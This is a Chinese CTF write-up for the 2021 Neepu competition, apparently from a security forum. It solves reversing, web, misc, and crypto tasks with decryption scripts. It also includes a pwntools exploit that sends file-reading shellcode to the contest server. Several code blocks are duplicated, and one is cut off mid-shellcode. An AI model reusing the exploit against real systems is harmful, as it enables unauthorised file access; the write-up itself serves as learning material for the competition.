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[原创]Neepu ctf wp
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发表于: 2021-5-25 16:25
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拿了个第一，AK了re，哈哈哈还是可以。
ID:The_Itach1
总排名: 1
分数： 8347
有点可惜，本来可以一血的，被NEEPU给迷惑了，哈哈哈。
ida看，流程，动调比较快
动调绕过得到
MD5加密一下，故flag为
开始分析是分析exe文件，然后看了里面的一些字符串，什么.net之类的，后来发现flag在dll里面。
用dSspy打开dll，找到加密逻辑，大概就是栅栏，和简单字符处理
脚本
一个upx加壳程序，直接脱壳没脱起，手动用xdbg脱。
脱壳后ida分析，可以结合动调分析
先网上凯撒解密，得到
然后小写转大写
再变表base
一个注册软件，开始用ida看，始终没找到check入口。后来百度发现，这是python写的注册程序，联想到exe转py(https://blog.csdn.net/m0_37552052/article/details/88093427)。
命令
得到一个文件夹，里面有一个retest.pyc
反编译这个pyc，得到的py文件里面就有flag，命令
得到flag
这道题就是加密函数比较多，rc4，变表base，tea，xtea
ida分析
下面是tea，xtea加密
最后的异或处理
脚本，先得到8个数
tea
xtea
得到v4[]={1 1 3 4 2 5 8 7}，排序后v4[]={1,1,2,3,4,5,7,8};
然后异或解密+变表base+rc4
一个腾讯加壳后的apk，脱壳https://zhuanlan.zhihu.com/p/45591754
脱壳后拖到jeb分析
不断分析，找到这个位置
然后直接登录，就可以得到flag了
ida打开文件，发现就是一个命令行传入参数切割后要是2333
所以直接nc连接，后传入参数2333_2333就行了。
利用write() read() 等系统调用去读取目标主机中的flag
exp
getflag
打开网站查看robots.txt
发现网页，然后查看源码得到flag
乱点，发现有个notfund.html
查看源码发现flag
两个文件
第一个文件使用foremost 分离
得到图片，这是上古卷轴中的龙文
翻译一下是youseethedragon
解开音频文件密码
使用silenteye,分离音频文件中的flag.txt
base64解密得到flag
数字华容道，玩出来
一直买进最后一种硬币
直到最后一种硬币的价格降为负数
然后再继续买进，会反得到钱
最后得到flag
hint.txt说flag在根目录，最后在下面的目录下找到
getflag/etc/neepu.conf:Neepu{ec65303a-594a-471b-842c-55ba49fffc74}
100道嘛，没技术，cv工程师。
flag没保存下来，也不想在弄了。。。
在这里找到flag
一开始解不出，得到官方hint
得到png文件，改为png.png得到反切密码表
根据该对使得flag有头有尾
查看对的意思，百度搜索得到，对的解密为两个141 分别放在flag头尾
诗使得flag有声有调
根据反切密码的格式，先拿第一排的声母，再拿第二排的韵母，最后加上声调
最后的flag为:
chall1
注意到e很小且diffe = nextprime(random.randint(1,1000))联想到related_message_attack解出m和e
chall2
由于m已知,且整个S在mod (p1+1)条件下,联想到dp泄漏,通常K很小,通过爆破K解出flag
exp
百度网盘：https://pan.baidu.com/s/1z3f9fjHQHI2KpjGjmHNA2A 提取码：abcd
Neepu{a4db343d5faf70bc4fb88dd8d4dc86de}Neepu{a4db343d5faf70bc4fb88dd8d4dc86de}#include<stdio.h>#include <iostream>void Encrypt1(char *string1)
{ int num = 16;
for (int i = 0; i < num; i++)
{
bool flag = string1[i] >= 'a' && string1[i] <= 'z';
if (flag)
{
bool flag2 = string1[i] >= 'a' && string1[i] <= 'y';
if (flag2)
{
string1[i] -= '\u001f';
}
else
{
string1[i] = 'A';
}
}
else
{
bool flag3 = string1[i] >= 'A' && string1[i] <= 'Z';
if (flag3)
{
bool flag4 = string1[i] >= 'A' && string1[i] <= 'Y';
if (flag4)
{
string1[i] += '!';
}
else
{
string1[i] = 'a';
}
}
else
{
bool flag5 = string1[i] >= '0' && string1[i] <= '9';
if (flag5)
{
bool flag6 = string1[i] == '9';
if (flag6)
{
string1[i] = '0';
}
else
{
string1[i] += '\u0001';
}
}
}
}
}
}int main(void)
{
char text[] = "mDDOT{gDO09_bSE}";
Encrypt1(text);
printf("%s",text);
}//Neepu{Hep10_Ctf}
#include<stdio.h>#include <iostream>void Encrypt1(char *string1)
{ int num = 16;
for (int i = 0; i < num; i++)
{
bool flag = string1[i] >= 'a' && string1[i] <= 'z';
if (flag)
{
bool flag2 = string1[i] >= 'a' && string1[i] <= 'y';
if (flag2)
{
string1[i] -= '\u001f';
}
else
{
string1[i] = 'A';
}
}
else
{
bool flag3 = string1[i] >= 'A' && string1[i] <= 'Z';
if (flag3)
{
bool flag4 = string1[i] >= 'A' && string1[i] <= 'Y';
if (flag4)
{
string1[i] += '!';
}
else
{
string1[i] = 'a';
}
}
else
{
bool flag5 = string1[i] >= '0' && string1[i] <= '9';
if (flag5)
{
bool flag6 = string1[i] == '9';
if (flag6)
{
string1[i] = '0';
}
else
{
string1[i] += '\u0001';
}
}
}
}
}
}int main(void)
{
char text[] = "mDDOT{gDO09_bSE}";
Encrypt1(text);
printf("%s",text);
}//Neepu{Hep10_Ctf}
TcVb2HVxUs77MVzqYTF5WWFkZrzEZVzuMWEmXsn71bzjYUB54WFzTcVb2HVxUs77MVzqYTF5WWFkZrzEZVzuMWEmXsn71bzjYUB54WFz#include<stdio.h>int main(void)
{ char flag[]="TcVb2HVxUs77MVzqYTF5WWFkZrzEZVzuMWEmXsn71bzjYUB54WFz";
int i;
for(i=0;i<53;i++)
{
if(flag[i]>=65&&flag[i]<=90)
{
flag[i]=flag[i]+32;
continue;
}
if(flag[i]<=122&&flag[i]>=97)
{
flag[i]=flag[i]-32;
}
}
printf("%s",flag);
}//tCvB2hvXuS77mvZQytf5wwfKzRZezvZUmweMxSN71BZJyub54wfZ
#include<stdio.h>int main(void)
{ char flag[]="TcVb2HVxUs77MVzqYTF5WWFkZrzEZVzuMWEmXsn71bzjYUB54WFz";
int i;
for(i=0;i<53;i++)
{
if(flag[i]>=65&&flag[i]<=90)
{
flag[i]=flag[i]+32;
continue;
}
if(flag[i]<=122&&flag[i]>=97)
{
flag[i]=flag[i]-32;
}
}
printf("%s",flag);
}//tCvB2hvXuS77mvZQytf5wwfKzRZezvZUmweMxSN71BZJyub54wfZ
import base64
import string
str1 ='tCvB2hvXuS77mvZQytf5wwfKzRZezvZUmweMxSN71BZJyub54wfZ'
string1 = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ+/'
string2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
print(base64.b64decode(str1.translate(str.maketrans(string1, string2))))
#Neepu{Sha1_ta1_Yang_De_x1a0_lan_ma@_ya}import base64
import string
str1 ='tCvB2hvXuS77mvZQytf5wwfKzRZezvZUmweMxSN71BZJyub54wfZ'
string1 = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ+/'
string2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
print(base64.b64decode(str1.translate(str.maketrans(string1, string2))))
#Neepu{Sha1_ta1_Yang_De_x1a0_lan_ma@_ya}python pyinstxtractor.py [filename]python pyinstxtractor.py [filename]uncompyle6 -o C:\Users\hp\Downloads\xxx.py C:\Users\hp\Downloads\xxx.pyc
uncompyle6 -o C:\Users\hp\Downloads\xxx.py C:\Users\hp\Downloads\xxx.pyc
Neepu{vrey_good!!!!!}Neepu{vrey_good!!!!!}#include<stdio.h>void decrypt(unsigned int *code , unsigned int *key)
{ unsigned int delta=0x9e3779b9;
unsigned int v0,v1,sum=0xC6EF3720,i;// sum=0xC6EF3720
v0=code[0];
v1=code[1];
for(i=0;i<32;i++)
{
v1-=( (v0<<4)+key[2] ) ^ (v0+sum) ^ ( (v0>>5)+key[3] );
v0-=( (v1<<4)+key[0] ) ^ (v1+sum) ^ ( (v1>>5)+key[1] );
sum-=delta;
}
code[0]=v0;
code[1]=v1;
}int main()
{ unsigned int key[4]={2,2,3,4};
unsigned int code[2]={0x24BDF90F,0x301B88E8};
decrypt(code,key);
printf("%x %x",code[0],code[1]);
}#include<stdio.h>void decrypt(unsigned int *code , unsigned int *key)
{ unsigned int delta=0x9e3779b9;
unsigned int v0,v1,sum=0xC6EF3720,i;// sum=0xC6EF3720
v0=code[0];
v1=code[1];
for(i=0;i<32;i++)
{
v1-=( (v0<<4)+key[2] ) ^ (v0+sum) ^ ( (v0>>5)+key[3] );
v0-=( (v1<<4)+key[0] ) ^ (v1+sum) ^ ( (v1>>5)+key[1] );
sum-=delta;
}
code[0]=v0;
code[1]=v1;
}int main()
{ unsigned int key[4]={2,2,3,4};
unsigned int code[2]={0x24BDF90F,0x301B88E8};
decrypt(code,key);
printf("%x %x",code[0],code[1]);
}#include<stdio.h>void decrypt(unsigned int r ,unsigned int *code ,unsigned int *key)
{ unsigned int v0,v1,i,delta=0x9e3779b9;
unsigned int sum=delta*r;
v0=code[0];
v1=code[1];
for(i=0;i<r;i++)
{
v1-=( ((v0<<4) ^(v0>>5)) +v0 ) ^ ( sum + key[ (sum>>11)&3 ]);
sum-=delta;
v0-=( ((v1<<4) ^ (v1>>5)) +v1 ) ^ ( sum + key[sum&3] );
}
code[0]=v0;
code[1]=v1;
}int main()
{ unsigned int key[4]={2,2,3,4};
unsigned int r=32;
unsigned int code[2]={0x8DD02793,0x4F558864};
decrypt(r,code,key);
printf("%x %x",code[0],code[1]);
}#include<stdio.h>void decrypt(unsigned int r ,unsigned int *code ,unsigned int *key)
{ unsigned int v0,v1,i,delta=0x9e3779b9;
unsigned int sum=delta*r;
v0=code[0];
v1=code[1];
for(i=0;i<r;i++)
{
v1-=( ((v0<<4) ^(v0>>5)) +v0 ) ^ ( sum + key[ (sum>>11)&3 ]);
sum-=delta;
v0-=( ((v1<<4) ^ (v1>>5)) +v1 ) ^ ( sum + key[sum&3] );
}
code[0]=v0;
code[1]=v1;
}int main()
{ unsigned int key[4]={2,2,3,4};
unsigned int r=32;
unsigned int code[2]={0x8DD02793,0x4F558864};
decrypt(r,code,key);
printf("%x %x",code[0],code[1]);
}#include<stdio.h>int main()
{ int v9[48];
int v7[48]={0};
int v4[]={1,1,2,3,4,5,7,8};
char a[]={0xa5,0x4c,0xb6,0xea,0xd0,0xb9,0xb6,0x50,0x40,0xa4,0xda,0x37,0xe4,0xa,0x98,0xf7,0x5e,0x42,0x7f,0x1f,0x2,0xca,0x4e,0x9c,0x96,0xb4,0xdb,0x90,0xa7,0x15,0x12};
char key[]={0x94,0x75,0x81,0xd2,0xfd,0x81,0x9b,0x62,0x73,0xe4,0x91,0x58,0x86,0x6f,0xd8,0xb5,0x3f,0x31,0x14,0x7a,0x76,0xa8,0x2f,0xf0,0xfa,0x97,0xff,0xb5,0xf9,0x33,0x38};
int i;
v9[0] = 81;
v9[1] = 116;
v9[2] = 91;
v9[3] = 49;
v9[4] = 50;
v9[5] = 81;
v9[6] = 100;
v9[7] = 61;
v9[8] = 85;
v9[9] = 77;
v9[10] = 96;
v9[11] = 98;
v9[12] = 84;
v9[13] = 107;
v9[14] = 72;
v9[15] = 59;
v9[16] = 52;
v9[17] = 96;
v9[18] = 83;
v9[19] = 122;
v9[20] = 61;
v9[21] = 52;
v9[22] = 50;
v9[23] = 107;
v9[24] = 71;
v9[25] = 89;
v9[26] = 58;
v9[27] = 96;
v9[28] = 93;
v9[29] = 78;
v9[30] = 49;
v9[31] = 75;
v9[32] = 77;
v9[33] = 83;
v9[34] = 118;
v9[35] = 65;
v9[36] = 79;
v9[37] = 110;
v9[38] = 68;
v9[39] = 126;
v9[40] = 100;
v9[41] = 70;
v9[42] = 63;
v9[43] = 62;
v9[44] = 4;
v9[45] = 5;
v9[46] = 7;
v9[47] = 8;
for(i=0;i<48;i++)
{
v7[i]=v9[i]^v4[i%8];
printf("%c",v7[i]);
}
printf("\nNeepu{");
for(i=0;i<31;i++)
{
printf("%c",a[i]^key[i]);
}
printf("}");
} //PuY26Tc5TLbaPnO35aQy915cFX8cYK6CLRtBKkCveG==
//Neepu{1978-8-23@Kobe@Basketball#$%^&*}
#include<stdio.h>int main()
{ int v9[48];
int v7[48]={0};
int v4[]={1,1,2,3,4,5,7,8};
char a[]={0xa5,0x4c,0xb6,0xea,0xd0,0xb9,0xb6,0x50,0x40,0xa4,0xda,0x37,0xe4,0xa,0x98,0xf7,0x5e,0x42,0x7f,0x1f,0x2,0xca,0x4e,0x9c,0x96,0xb4,0xdb,0x90,0xa7,0x15,0x12};
char key[]={0x94,0x75,0x81,0xd2,0xfd,0x81,0x9b,0x62,0x73,0xe4,0x91,0x58,0x86,0x6f,0xd8,0xb5,0x3f,0x31,0x14,0x7a,0x76,0xa8,0x2f,0xf0,0xfa,0x97,0xff,0xb5,0xf9,0x33,0x38};
int i;
v9[0] = 81;
v9[1] = 116;
v9[2] = 91;
v9[3] = 49;
v9[4] = 50;
v9[5] = 81;
v9[6] = 100;
v9[7] = 61;
v9[8] = 85;
v9[9] = 77;
v9[10] = 96;
v9[11] = 98;
v9[12] = 84;
v9[13] = 107;
v9[14] = 72;
v9[15] = 59;
v9[16] = 52;
v9[17] = 96;
v9[18] = 83;
v9[19] = 122;
v9[20] = 61;
v9[21] = 52;
v9[22] = 50;
v9[23] = 107;
v9[24] = 71;
v9[25] = 89;
v9[26] = 58;
v9[27] = 96;
v9[28] = 93;
v9[29] = 78;
v9[30] = 49;
v9[31] = 75;
v9[32] = 77;
v9[33] = 83;
v9[34] = 118;
v9[35] = 65;
v9[36] = 79;
v9[37] = 110;
v9[38] = 68;
v9[39] = 126;
v9[40] = 100;
v9[41] = 70;
v9[42] = 63;
v9[43] = 62;
v9[44] = 4;
v9[45] = 5;
v9[46] = 7;
v9[47] = 8;
for(i=0;i<48;i++)
{
v7[i]=v9[i]^v4[i%8];
printf("%c",v7[i]);
}
printf("\nNeepu{");
for(i=0;i<31;i++)
{
printf("%c",a[i]^key[i]);
}
printf("}");
} //PuY26Tc5TLbaPnO35aQy915cFX8cYK6CLRtBKkCveG==
//Neepu{1978-8-23@Kobe@Basketball#$%^&*}
from pwn import *
context(arch = 'amd64', os = 'linux')
#p = process('./pwn')p = remote('neepusec.club', 18707)
shellcode='''
push 0x67616c66mov rdi,rsppush 2pop raxxor rsi,rsipush 64pop rdxsyscallmov rdi,raxmov rsi,rspxor rax,raxsyscallpush 1pop rdipush 1pop raxsyscall'''sc=asm(shellcode,arch='amd64',os='linux')
#gdb.attach(p)# step 2payload = sc
p.send(payload)p.interactive()from pwn import *
context(arch = 'amd64', os = 'linux')
#p = process('./pwn')p = remote('neepusec.club', 18707)
shellcode='''
push 0x67616c66mov rdi,rsppush 2pop raxxor rsi,rsipush 64pop rdxsyscallmov rdi,raxmov rsi,rspxor rax,raxsyscallpush 1pop rdipush 1pop rax[招生]科锐逆向工程师培训(2024年11月15日实地，远程教学同时开班, 第51期)
最后于 2021-5-25 21:59
被kanxue编辑
，原因：
